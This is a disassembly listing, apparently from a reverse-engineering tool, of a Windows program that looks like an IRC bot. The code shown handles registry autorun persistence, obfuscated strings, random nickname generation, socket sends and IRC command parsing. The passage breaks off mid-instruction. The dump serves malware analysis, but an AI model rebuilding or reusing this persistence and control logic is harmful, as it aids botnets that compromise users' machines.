add esp, 30h mov edi, 100h loc_41718E: ; CODE XREF: sub_417119+1AEj push edi lea esi, [ebp+var_204] mov ebx, offset byte_425119 call sub_4196D1 push edi lea esi, [ebp+var_404] mov ebx, offset byte_425061 call sub_4196D1 pop ecx pop ecx mov esi, 0FFh push esi lea eax, [ebp+var_304] push eax call ds:dword_41D0F4 ; GetSystemDirectoryA lea eax, [ebp+var_404] push eax lea eax, [ebp+var_304] push eax push offset aSS_1 ; "%s\\%s" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 14h lea ecx, [eax+1] loc_4171F1: ; CODE XREF: sub_417119+DDj mov dl, [eax] inc eax test dl, dl jnz short loc_4171F1 sub eax, ecx xor ebx, ebx mov [ebp+eax+Dest], bl push edi ; size_t lea eax, [ebp+var_504] push eax ; void * lea eax, [ebp+var_204] push eax ; int push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 1 ; char call sub_416ECD add esp, 14h test al, al jz short loc_417258 lea ecx, [ebp+var_504] lea eax, [ebp+Dest] loc_417231: ; CODE XREF: sub_417119+130j mov dl, [eax] cmp dl, [ecx] jnz short loc_41724F cmp dl, bl jz short loc_41724B mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_41724F inc eax inc eax inc ecx inc ecx cmp dl, bl jnz short loc_417231 loc_41724B: ; CODE XREF: sub_417119+120j xor eax, eax jmp short loc_417254 ; --------------------------------------------------------------------------- loc_41724F: ; CODE XREF: sub_417119+11Cj ; sub_417119+128j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417254: ; CODE XREF: sub_417119+134j cmp eax, ebx jz short loc_417273 loc_417258: ; CODE XREF: sub_417119+10Aj lea eax, [ebp+Dest] push eax lea eax, [ebp+var_204] push eax push offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... call sub_416E5F add esp, 0Ch loc_417273: ; CODE XREF: sub_417119+13Dj push edi ; size_t lea eax, [ebp+var_304] push ebx ; int push eax ; void * call _memset push edi ; size_t lea eax, [ebp+Dest] push ebx ; int push eax ; void * call _memset push edi ; size_t lea eax, [ebp+var_504] push ebx ; int push eax ; void * call _memset push edi ; size_t lea eax, [ebp+var_204] push ebx ; int push eax ; void * call _memset push edi ; size_t lea eax, [ebp+var_404] push ebx ; int push eax ; void * call _memset add esp, 3Ch push 3A98h call ds:dword_41D0FC ; Sleep jmp loc_41718E sub_417119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4172CC(char *Format,char Args) sub_4172CC proc near ; CODE XREF: sub_41783D+24Fp ; sub_41783D+323p ... Dest = byte ptr -204h var_203 = byte ptr -203h var_4 = dword ptr -4 Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 204h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push esi mov esi, 1FFh push esi ; size_t lea eax, [ebp+var_203] push 0 ; int push eax ; void * mov [ebp+Dest], 0 call _memset lea eax, [ebp+Args] push eax ; Args push [ebp+Format] ; Format lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] add esp, 1Ch lea esi, [eax+1] loc_41731B: ; CODE XREF: sub_4172CC+54j mov cl, [eax] inc eax test cl, cl jnz short loc_41731B sub eax, esi mov [ebp+eax+Dest], cl lea eax, [ebp+Dest] lea esi, [eax+1] loc_417334: ; CODE XREF: sub_4172CC+6Dj mov cl, [eax] inc eax test cl, cl jnz short loc_417334 push 0 sub eax, esi push eax lea eax, [ebp+Dest] push eax push dword ptr [edi] call ds:dword_41D228 ; send mov ecx, [ebp+var_4] test eax, eax setnz al xor ecx, ebp pop esi call sub_402710 leave retn sub_4172CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417361(int,char,int,char *Format,char Args) sub_417361 proc near ; CODE XREF: sub_40177B+268p ; sub_4019F3+21Ap ... var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_403 = byte ptr -403h Dest = byte ptr -204h var_203 = byte ptr -203h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h Format = dword ptr 14h Args = byte ptr 18h push ebp mov ebp, esp sub esp, 40Ch mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push edi mov [ebp+var_408], eax mov eax, [ebp+arg_8] mov edi, 1FFh xor ebx, ebx push edi ; size_t mov [ebp+var_40C], eax lea eax, [ebp+var_203] push ebx ; int push eax ; void * mov [ebp+Dest], bl call _memset push edi ; size_t lea eax, [ebp+var_403] push ebx ; int push eax ; void * mov [ebp+var_404], bl call _memset add esp, 18h cmp [ebp+arg_4], 1 jz loc_41747D push esi push 0Dh ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov esi, eax lea eax, [ebp+Args] push eax ; Args push [ebp+Format] ; Format lea eax, [ebp+var_404] push edi ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+var_404] add esp, 14h lea ecx, [eax+1] loc_4173EE: ; CODE XREF: sub_417361+92j mov dl, [eax] inc eax cmp dl, bl jnz short loc_4173EE sub eax, ecx push esi ; void * mov [ebp+eax+var_404], bl call __msize push eax mov ebx, offset asc_425570 ; "ÅÇÜÃØÆÒ" call sub_4196D1 lea eax, [ebp+var_404] push eax push [ebp+var_40C] lea eax, [ebp+Dest] push esi push offset aSSS_0 ; "%s %s %s\r\n" push edi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 20h lea ecx, [eax+1] loc_41743B: ; CODE XREF: sub_417361+DFj mov dl, [eax] inc eax test dl, dl jnz short loc_41743B sub eax, ecx push esi ; Memory mov [ebp+eax+Dest], dl call j_j__free pop ecx lea eax, [ebp+Dest] lea ecx, [eax+1] pop esi loc_41745C: ; CODE XREF: sub_417361+100j mov dl, [eax] inc eax test dl, dl jnz short loc_41745C sub eax, ecx push 0 push eax lea eax, [ebp+Dest] push eax mov eax, [ebp+var_408] push dword ptr [eax] call ds:dword_41D228 ; send loc_41747D: ; CODE XREF: sub_417361+5Dj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop ebx call sub_402710 leave retn sub_417361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41748B proc near ; CODE XREF: sub_41802F+23Bp ; sub_41829C+39p var_48 = dword ptr -48h var_44 = byte ptr -44h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3C = byte ptr -3Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push esi push edi xor eax, eax mov [ebp+var_40], 0 lea edi, [ebp+var_3F] stosw stosb push 0Dh pop ecx mov esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"... lea edi, [ebp+var_3C] rep movsd lea eax, [ebp+var_48] push eax movsb call ds:dword_41D1EC ; GetCursorPos call ds:dword_41D108 ; GetTickCount mov ecx, [ebp+var_48] mov edx, dword ptr [ebp+var_44] ; char add ecx, edx cmp eax, ecx jb short loc_4174D7 add ecx, eax jmp short loc_4174D9 ; --------------------------------------------------------------------------- loc_4174D7: ; CODE XREF: sub_41748B+46j sub ecx, eax loc_4174D9: ; CODE XREF: sub_41748B+4Aj push ecx ; Seed call _srand pop ecx push 8 pop ecx xor eax, eax mov edi, ebx rep stosd push offset asc_420310 ; "[" stosw push 22h ; Count push ebx ; Dest stosb call __snprintf mov eax, ebx add esp, 0Ch lea esi, [eax+1] loc_417501: ; CODE XREF: sub_41748B+7Bj mov cl, [eax] ; unsigned int inc eax test cl, cl jnz short loc_417501 xor edi, edi sub eax, esi push edi mov [eax+ebx], cl push 4 pop ecx lea esi, [ebp+var_40] call sub_418E51 pop ecx mov eax, esi push eax push ebx push offset aSS_2 ; "%s%s|" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 14h lea esi, [eax+1] loc_417535: ; CODE XREF: sub_41748B+AFj mov cl, [eax] inc eax test cl, cl jnz short loc_417535 sub eax, esi push edi push 4 lea esi, [ebp+var_40] mov [eax+ebx], cl call sub_418E1F mov eax, esi push eax push ebx push offset aSS_3 ; "%s%s|" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 1Ch lea esi, [eax+1] loc_417565: ; CODE XREF: sub_41748B+DFj mov cl, [eax] inc eax test cl, cl jnz short loc_417565 sub eax, esi mov [eax+ebx], cl call sub_419347 test al, al jz short loc_41759C push ebx push offset aSp ; "%sP|" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 10h lea esi, [eax+1] loc_417590: ; CODE XREF: sub_41748B+10Aj mov cl, [eax] inc eax test cl, cl jnz short loc_417590 sub eax, esi mov [eax+ebx], cl loc_41759C: ; CODE XREF: sub_41748B+EDj call sub_418DA0 mov eax, dword_42659C cmp eax, edi mov ecx, dword_426598 jg short loc_4175D8 jl short loc_4175B7 cmp ecx, 0Ah jnb short loc_4175D8 loc_4175B7: ; CODE XREF: sub_41748B+125j push eax push ecx push ebx push offset aS0I64u ; "%s0%I64u|" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 18h lea esi, [eax+1] loc_4175CF: ; CODE XREF: sub_41748B+149j mov cl, [eax] inc eax test cl, cl jnz short loc_4175CF jmp short loc_4175F7 ; --------------------------------------------------------------------------- loc_4175D8: ; CODE XREF: sub_41748B+123j ; sub_41748B+12Aj push eax push ecx push ebx push offset aSI64u ; "%s%I64u|" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 18h lea esi, [eax+1] loc_4175F0: ; CODE XREF: sub_41748B+16Aj mov cl, [eax] inc eax test cl, cl jnz short loc_4175F0 loc_4175F7: ; CODE XREF: sub_41748B+14Bj sub eax, esi mov byte ptr [eax+ebx], 0 xor esi, esi cmp dword_42521C, edi jle short loc_417644 loc_417607: ; CODE XREF: sub_41748B+1B7j call _rand push 31h pop ecx xor edx, edx div ecx movsx eax, [ebp+edx+var_3C] push eax push ebx push offset aSC ; "%s%c" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 14h lea edi, [eax+1] loc_41762F: ; CODE XREF: sub_41748B+1A9j mov cl, [eax] inc eax test cl, cl jnz short loc_41762F sub eax, edi inc esi mov [eax+ebx], cl cmp esi, dword_42521C jl short loc_417607 loc_417644: ; CODE XREF: sub_41748B+17Aj push ebx push offset aS_4 ; "%s]" push 22h ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 10h lea esi, [eax+1] loc_41765A: ; CODE XREF: sub_41748B+1D4j mov cl, [eax] inc eax test cl, cl jnz short loc_41765A sub eax, esi mov [eax+ebx], cl mov ecx, [ebp+var_4] pop edi xor ecx, ebp mov eax, ebx pop esi call sub_402710 leave retn sub_41748B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_417676(int,int,int,int,int,char *Str) sub_417676 proc near ; CODE XREF: sub_41783D+6A7p Dest = dword ptr -820h var_81C = dword ptr -81Ch var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h Str = dword ptr 1Ch push ebp mov ebp, esp sub esp, 824h push ebx push esi push edi push offset Delim ; " " push [ebp+Str] ; Str xor ebx, ebx mov byte ptr [ebp+var_8], 0 mov [ebp+var_4], ebx call _strtok jmp short loc_4176D8 ; --------------------------------------------------------------------------- loc_41769A: ; CODE XREF: sub_417676+68j mov eax, [ebp+var_4] push offset Str2 ; "-s" push esi ; Str1 mov [ebp+eax*4+Dest], esi call __stricmp test eax, eax pop ecx pop ecx jz short loc_4176C6 push offset aS_17 ; "/s" push esi ; Str1 call __stricmp test eax, eax pop ecx pop ecx jnz short loc_4176CA loc_4176C6: ; CODE XREF: sub_417676+3Dj mov byte ptr [ebp+var_8], 1 loc_4176CA: ; CODE XREF: sub_417676+4Ej push offset asc_4202D4 ; " " push ebx ; Str call _strtok inc [ebp+var_4] loc_4176D8: ; CODE XREF: sub_417676+22j mov esi, eax cmp esi, ebx pop ecx pop ecx jnz short loc_41769A mov edi, [ebp+arg_0] mov esi, [ebp+Dest] add edi, 5 mov edx, edi mov ecx, esi loc_4176F0: ; CODE XREF: sub_417676+92j mov al, [ecx] cmp al, [edx] jnz short loc_41770E test al, al jz short loc_41770A mov al, [ecx+1] cmp al, [edx+1] jnz short loc_41770E inc ecx inc ecx inc edx inc edx test al, al jnz short loc_4176F0 loc_41770A: ; CODE XREF: sub_417676+82j xor eax, eax jmp short loc_417713 ; --------------------------------------------------------------------------- loc_41770E: ; CODE XREF: sub_417676+7Ej ; sub_417676+8Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_417713: ; CODE XREF: sub_417676+96j cmp eax, ebx jz short loc_417724 mov eax, edi mov ecx, esi call sub_419044 test eax, eax jz short loc_417750 loc_417724: ; CODE XREF: sub_417676+9Fj xor eax, eax cmp [ebp+var_4], ebx jle short loc_41774D mov ecx, [ebp+var_4] dec ecx loc_41772F: ; CODE XREF: sub_417676+CFj cmp eax, ecx jz short loc_417741 mov edx, [ebp+eax*4+var_81C] mov [ebp+eax*4+Dest], edx loc_417741: ; CODE XREF: sub_417676+BBj inc eax cmp eax, [ebp+var_4] jl short loc_41772F mov esi, [ebp+Dest] loc_41774D: ; CODE XREF: sub_417676+B3j dec [ebp+var_4] loc_417750: ; CODE XREF: sub_417676+ACj cmp byte ptr [ebp+var_8], bl jz short loc_417758 dec [ebp+var_4] loc_417758: ; CODE XREF: sub_417676+DDj mov al, [esi] cmp al, byte_424FE8 jnz loc_417836 mov eax, esi lea ecx, [eax+1] loc_41776B: ; CODE XREF: sub_417676+FAj mov dl, [eax] inc eax test dl, dl jnz short loc_41776B sub eax, ecx push eax ; Count lea eax, [esi+1] push eax ; Source push esi ; Dest call _strncpy mov eax, dword_433C40 mov esi, [eax] mov ebx, offset dword_433C3C mov edi, ebx add esp, 0Ch mov [ebp+var_C], esi mov [ebp+var_10], edi loc_417796: ; CODE XREF: sub_417676+192j test edi, edi mov eax, dword_433C40 mov [ebp+var_14], eax jz short loc_4177A6 cmp edi, ebx jz short loc_4177AB loc_4177A6: ; CODE XREF: sub_417676+12Aj call __invalid_parameter_noinfo loc_4177AB: ; CODE XREF: sub_417676+12Ej cmp esi, [ebp+var_14] jz loc_417836 test edi, edi jnz short loc_4177BD call __invalid_parameter_noinfo loc_4177BD: ; CODE XREF: sub_417676+140j cmp esi, [edi+4] jnz short loc_4177C7 call __invalid_parameter_noinfo loc_4177C7: ; CODE XREF: sub_417676+14Aj mov ecx, [ebp+Dest] lea eax, [esi+0Ch] loc_4177D0: ; CODE XREF: sub_417676+172j mov dl, [eax] cmp dl, [ecx] jnz short loc_4177EE test dl, dl jz short loc_4177EA mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_4177EE inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_4177D0 loc_4177EA: ; CODE XREF: sub_417676+162j xor eax, eax jmp short loc_4177F3 ; --------------------------------------------------------------------------- loc_4177EE: ; CODE XREF: sub_417676+15Ej ; sub_417676+16Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4177F3: ; CODE XREF: sub_417676+176j test eax, eax jz short loc_41780A lea edi, [ebp+var_20] lea esi, [ebp+var_10] call sub_40168C mov esi, [ebp+var_C] mov edi, [ebp+var_10] jmp short loc_417796 ; --------------------------------------------------------------------------- loc_41780A: ; CODE XREF: sub_417676+17Fj cmp esi, [edi+4] jnz short loc_417814 call __invalid_parameter_noinfo loc_417814: ; CODE XREF: sub_417676+197j mov ecx, [esi+8] mov eax, [ecx] lea edx, [ebp+Dest] push edx mov edx, [ebp+var_4] dec edx push edx push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_4] call dword ptr [eax] loc_417836: ; CODE XREF: sub_417676+EAj ; sub_417676+138j pop edi pop esi pop ebx leave retn 18h sub_417676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41783D proc near ; CODE XREF: sub_417F01+107p var_10F48 = dword ptr -10F48h var_10F34 = dword ptr -10F34h var_10734 = dword ptr -10734h Str = dword ptr -10730h var_1072C = byte ptr -1072Ch var_1062C = byte ptr -1062Ch var_1052C = byte ptr -1052Ch var_1042C = byte ptr -1042Ch var_72C = byte ptr -72Ch var_72B = byte ptr -72Bh var_62C = dword ptr -62Ch Dest = byte ptr -52Ch var_52B = byte ptr -52Bh Source = byte ptr -52Ah var_32C = byte ptr -32Ch var_32B = byte ptr -32Bh var_22C = byte ptr -22Ch var_22B = byte ptr -22Bh var_1AC = dword ptr -1ACh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_78 = dword ptr -78h var_54 = byte ptr -54h var_53 = byte ptr -53h var_44 = byte ptr -44h var_43 = byte ptr -43h var_38 = byte ptr -38h var_37 = byte ptr -37h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh Args = byte ptr -20h var_1F = byte ptr -1Fh var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10F38h call __alloca_probe mov eax, dword_423064 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, 1FFh xor ebx, ebx push esi ; size_t mov [ebp+var_10734], eax lea eax, [ebp+var_52B] mov edi, ecx push ebx ; int push eax ; void * mov [ebp+Str], edi mov [ebp+Dest], bl call _memset add esp, 0Ch push edi push offset aS_5 ; "%s" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 10h lea edi, [eax+1] loc_4178A5: ; CODE XREF: sub_41783D+6Dj mov cl, [eax] inc eax cmp cl, bl jnz short loc_4178A5 sub eax, edi mov [ebp+eax+Dest], bl lea eax, [ebp+Dest] push offset SubStr ; " :" push eax ; Str call _strstr push eax push offset aS_6 ; "%s" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 18h lea esi, [eax+1] loc_4178E5: ; CODE XREF: sub_41783D+ADj mov cl, [eax] inc eax cmp cl, bl jnz short loc_4178E5 sub eax, esi mov [ebp+eax+Dest], bl lea eax, [ebp+Dest] lea esi, [eax+1] loc_4178FE: ; CODE XREF: sub_41783D+C6j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4178FE sub eax, esi push eax ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncpy add esp, 0Ch push offset asc_42025C ; " " push [ebp+Str] ; Str call _strtok cmp eax, ebx pop ecx pop ecx jz short loc_41797F xor esi, esi loc_417936: ; CODE XREF: sub_41783D+140j push eax push offset aS_7 ; "%s" lea edi, [ebp+esi+var_1072C] push 0FFh ; Count push edi ; Dest call __snprintf mov eax, edi add esp, 10h lea edi, [eax+1] loc_417956: ; CODE XREF: sub_41783D+11Ej mov cl, [eax] inc eax cmp cl, bl jnz short loc_417956 sub eax, edi add eax, esi push offset asc_420264 ; " " push ebx ; Str mov [ebp+eax+var_1072C], bl call _strtok pop ecx add esi, 100h cmp eax, ebx pop ecx jnz short loc_417936 loc_41797F: ; CODE XREF: sub_41783D+F5j xor eax, eax mov [ebp+var_2C], bl lea edi, [ebp+var_2B] stosd stosd xor eax, eax mov [ebp+var_38], bl lea edi, [ebp+var_37] stosd stosd xor eax, eax mov [ebp+var_54], bl lea edi, [ebp+var_53] stosd stosd stosd xor eax, eax mov [ebp+Args], bl lea edi, [ebp+var_1F] stosd push 0FFh ; size_t stosd lea eax, [ebp+var_32B] push ebx ; int push eax ; void * mov [ebp+var_32C], bl call _memset add esp, 0Ch push 2Fh ; size_t lea eax, [ebp+var_A7] push ebx ; int push eax ; void * mov [ebp+var_A8], bl call _memset xor eax, eax mov [ebp+var_14], bl lea edi, [ebp+var_13] stosd stosd xor eax, eax mov [ebp+var_44], bl lea edi, [ebp+var_43] stosd add esp, 0Ch push 7Fh ; size_t stosd lea eax, [ebp+var_22B] push ebx ; int push eax ; void * mov [ebp+var_22C], bl call _memset add esp, 0Ch push 9 lea esi, [ebp+var_2C] mov ebx, offset asc_425543 ; "ÅÜÛÒ" call sub_4196D1 pop ecx push 9 lea esi, [ebp+var_38] mov ebx, offset asc_425555 ; "ÞÜÖÞ" call sub_4196D1 pop ecx push 0Dh lea esi, [ebp+var_54] mov ebx, offset asc_425570 ; "ÅÇÜÃØÆÒ" call sub_4196D1 pop ecx lea ecx, [ebp+var_2C] lea eax, [ebp+var_1072C] loc_417A40: ; CODE XREF: sub_41783D+21Bj mov dl, [eax] cmp dl, [ecx] jnz short loc_417A5E test dl, dl jz short loc_417A5A mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_417A5E inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_417A40 loc_417A5A: ; CODE XREF: sub_41783D+20Bj xor eax, eax jmp short loc_417A63 ; --------------------------------------------------------------------------- loc_417A5E: ; CODE XREF: sub_41783D+207j ; sub_41783D+213j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417A63: ; CODE XREF: sub_41783D+21Fj test eax, eax jnz short loc_417AA7 push 9 lea esi, [ebp+Args] mov ebx, offset asc_42554C ; "ÅÚÛÒ" call sub_4196D1 mov edi, [ebp+var_10734] pop ecx lea eax, [ebp+var_1062C] push eax mov eax, esi push eax ; Args push offset aSS_4 ; "%s %s\r\n" call sub_4172CC add esp, 0Ch test al, al jnz short loc_417A9F loc_417A98: ; CODE XREF: sub_41783D+333j xor al, al jmp loc_417EF0 ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_41783D+259j xor eax, eax lea edi, [ebp+Args] stosd stosd stosb loc_417AA7: ; CODE XREF: sub_41783D+228j lea ecx, [ebp+var_38] lea eax, [ebp+var_1062C] loc_417AB0: ; CODE XREF: sub_41783D+28Bj mov dl, [eax] cmp dl, [ecx] jnz short loc_417ACE test dl, dl jz short loc_417ACA mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_417ACE inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_417AB0 loc_417ACA: ; CODE XREF: sub_41783D+27Bj xor eax, eax jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417ACE: ; CODE XREF: sub_41783D+277j ; sub_41783D+283j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417AD3: ; CODE XREF: sub_41783D+28Fj test eax, eax jnz loc_417B75 push 100h lea esi, [ebp+var_32C] mov ebx, offset dword_424ED0 call sub_4196D1 pop ecx mov ecx, esi lea eax, [ebp+var_1052C] loc_417AF9: ; CODE XREF: sub_41783D+2D4j mov dl, [eax] cmp dl, [ecx] jnz short loc_417B17 test dl, dl jz short loc_417B13 mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_417B17 inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_417AF9 loc_417B13: ; CODE XREF: sub_41783D+2C4j xor eax, eax jmp short loc_417B1C ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_41783D+2C0j ; sub_41783D+2CCj sbb eax, eax sbb eax, 0FFFFFFFFh loc_417B1C: ; CODE XREF: sub_41783D+2D8j test eax, eax jnz loc_417EEE push 9 lea esi, [ebp+var_14] mov ebx, offset asc_42555E ; "ßÚÜÛ" call sub_4196D1 pop ecx push 30h lea esi, [ebp+var_A8] mov ebx, offset dword_424FD0 call sub_4196D1 mov edi, [ebp+var_10734] pop ecx mov eax, esi push eax lea eax, [ebp+var_32C] push eax lea eax, [ebp+var_14] push eax ; Args push offset aSSS_1 ; "%s %s %s\r\n" call sub_4172CC add esp, 10h loc_417B68: ; CODE XREF: sub_41783D+3E0j test al, al jnz loc_417EEE jmp loc_417A98 ; --------------------------------------------------------------------------- loc_417B75: ; CODE XREF: sub_41783D+298j push 4 mov edi, offset a001 ; "001" lea esi, [ebp+var_1062C] pop ecx xor eax, eax repe cmpsb jnz loc_417C22 push 9 lea esi, [ebp+var_14] mov ebx, offset asc_42555E ; "ßÚÜÛ" call sub_4196D1 pop ecx push 9 lea esi, [ebp+var_44] mov ebx, offset asc_425567 ; "ØÚÑÐ" call sub_4196D1 lea esi, [ebp+var_32C] mov ebx, offset dword_424ED0 mov [esp+10F48h+var_10F48], 100h call sub_4196D1 pop ecx push 30h lea esi, [ebp+var_A8] mov ebx, offset dword_424FD0 call sub_4196D1 pop ecx push 80h lea esi, [ebp+var_22C] mov ebx, offset byte_424FE9 call sub_4196D1 mov edi, [ebp+var_10734] pop ecx lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_32C] push eax lea eax, [ebp+var_14] push eax mov eax, esi push eax lea eax, [edi+5] push eax lea eax, [ebp+var_44] push eax ; Args push offset aSSSSSS ; "%s %s %s\r\n%s %s %s\r\n" call sub_4172CC add esp, 1Ch jmp loc_417B68 ; --------------------------------------------------------------------------- loc_417C22: ; CODE XREF: sub_41783D+34Aj lea ecx, [ebp+var_54] lea eax, [ebp+var_1062C] loc_417C2B: ; CODE XREF: sub_41783D+406j mov dl, [eax] cmp dl, [ecx] jnz short loc_417C49 test dl, dl jz short loc_417C45 mov dl, [eax+1] cmp dl, [ecx+1] jnz short loc_417C49 inc eax inc eax inc ecx inc ecx test dl, dl jnz short loc_417C2B loc_417C45: ; CODE XREF: sub_41783D+3F6j xor eax, eax jmp short loc_417C4E ; --------------------------------------------------------------------------- loc_417C49: ; CODE XREF: sub_41783D+3F2j ; sub_41783D+3FEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_417C4E: ; CODE XREF: sub_41783D+40Aj test eax, eax jz short loc_417C6A push 4 mov edi, offset a332 ; "332" lea esi, [ebp+var_1062C] pop ecx xor eax, eax repe cmpsb jnz loc_417EEE loc_417C6A: ; CODE XREF: sub_41783D+413j push 8 pop ecx xor eax, eax mov byte ptr [ebp+var_78], 0 lea edi, [ebp+var_78+1] rep stosd mov ebx, 0FFh push ebx ; size_t stosw xor esi, esi lea eax, [ebp+var_1AC+1] push esi ; int push eax ; void * mov byte ptr [ebp+Str], 0 mov byte ptr [ebp+var_1AC], 0 call _memset add esp, 0Ch push ebx ; size_t lea eax, [ebp+var_62C+1] push esi ; int push eax ; void * mov byte ptr [ebp+var_62C], 0 call _memset add esp, 0Ch push ebx ; size_t lea eax, [ebp+var_72B] push esi ; int push eax ; void * mov [ebp+var_72C], 0 call _memset add esp, 0Ch lea eax, [ebp+var_1072C] push offset asc_42029C ; " :" push eax ; Str call _strtok push eax push offset aS_8 ; "%s" lea eax, [ebp+var_62C] push ebx ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_62C] add esp, 18h lea esi, [eax+1] loc_417D00: ; CODE XREF: sub_41783D+4C8j mov cl, [eax] inc eax test cl, cl jnz short loc_417D00 sub eax, esi mov byte ptr [ebp+eax+var_62C], cl lea eax, [ebp+var_1072C] push offset asc_4202A4 ; "!" push eax ; Str call _strtok push eax push offset aS_9 ; "%s" lea eax, [ebp+var_78] push 22h ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_78] add esp, 18h lea esi, [eax+1] loc_417D3B: ; CODE XREF: sub_41783D+503j mov cl, [eax] inc eax test cl, cl jnz short loc_417D3B sub eax, esi mov byte ptr [ebp+eax+var_78], cl lea eax, [ebp+var_78] lea esi, [eax+1] loc_417D4E: ; CODE XREF: sub_41783D+516j mov cl, [eax] inc eax test cl, cl jnz short loc_417D4E sub eax, esi push eax ; Count lea eax, [ebp+var_78+1] push eax ; Source lea eax, [ebp+var_78] push eax ; Dest call _strncpy add esp, 0Ch push 4 mov edi, offset a332_0 ; "332" lea esi, [ebp+var_1062C] pop ecx xor eax, eax repe cmpsb jnz short loc_417DB4 lea eax, [ebp+var_1042C] push eax push offset aS_10 ; "%s" lea eax, [ebp+var_1AC] push ebx ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1AC] add esp, 10h lea edx, [eax+1] loc_417DA1: ; CODE XREF: sub_41783D+569j mov cl, [eax] inc eax test cl, cl jnz short loc_417DA1 mov byte ptr [ebp+Str], 1 jmp loc_417E41 ; --------------------------------------------------------------------------- loc_417DB4: ; CODE XREF: sub_41783D+53Dj mov esi, [ebp+var_10734] add esi, 5 lea eax, [ebp+var_1052C] loc_417DC3: ; CODE XREF: sub_41783D+59Ej mov cl, [eax] cmp cl, [esi] jnz short loc_417DE1 test cl, cl jz short loc_417DDD mov cl, [eax+1] cmp cl, [esi+1] jnz short loc_417DE1 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_417DC3 loc_417DDD: ; CODE XREF: sub_41783D+58Ej xor eax, eax jmp short loc_417DE6 ; --------------------------------------------------------------------------- loc_417DE1: ; CODE XREF: sub_41783D+58Aj ; sub_41783D+596j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417DE6: ; CODE XREF: sub_41783D+5A2j test eax, eax jnz short loc_417E15 lea eax, [ebp+var_78] push eax push offset aS_11 ; "%s" lea eax, [ebp+var_1AC] push ebx ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1AC] add esp, 10h lea edx, [eax+1] loc_417E0C: ; CODE XREF: sub_41783D+5D4j mov cl, [eax] inc eax test cl, cl jnz short loc_417E0C jmp short loc_417E41 ; --------------------------------------------------------------------------- loc_417E15: ; CODE XREF: sub_41783D+5ABj lea eax, [ebp+var_1052C] push eax push offset aS_12 ; "%s" lea eax, 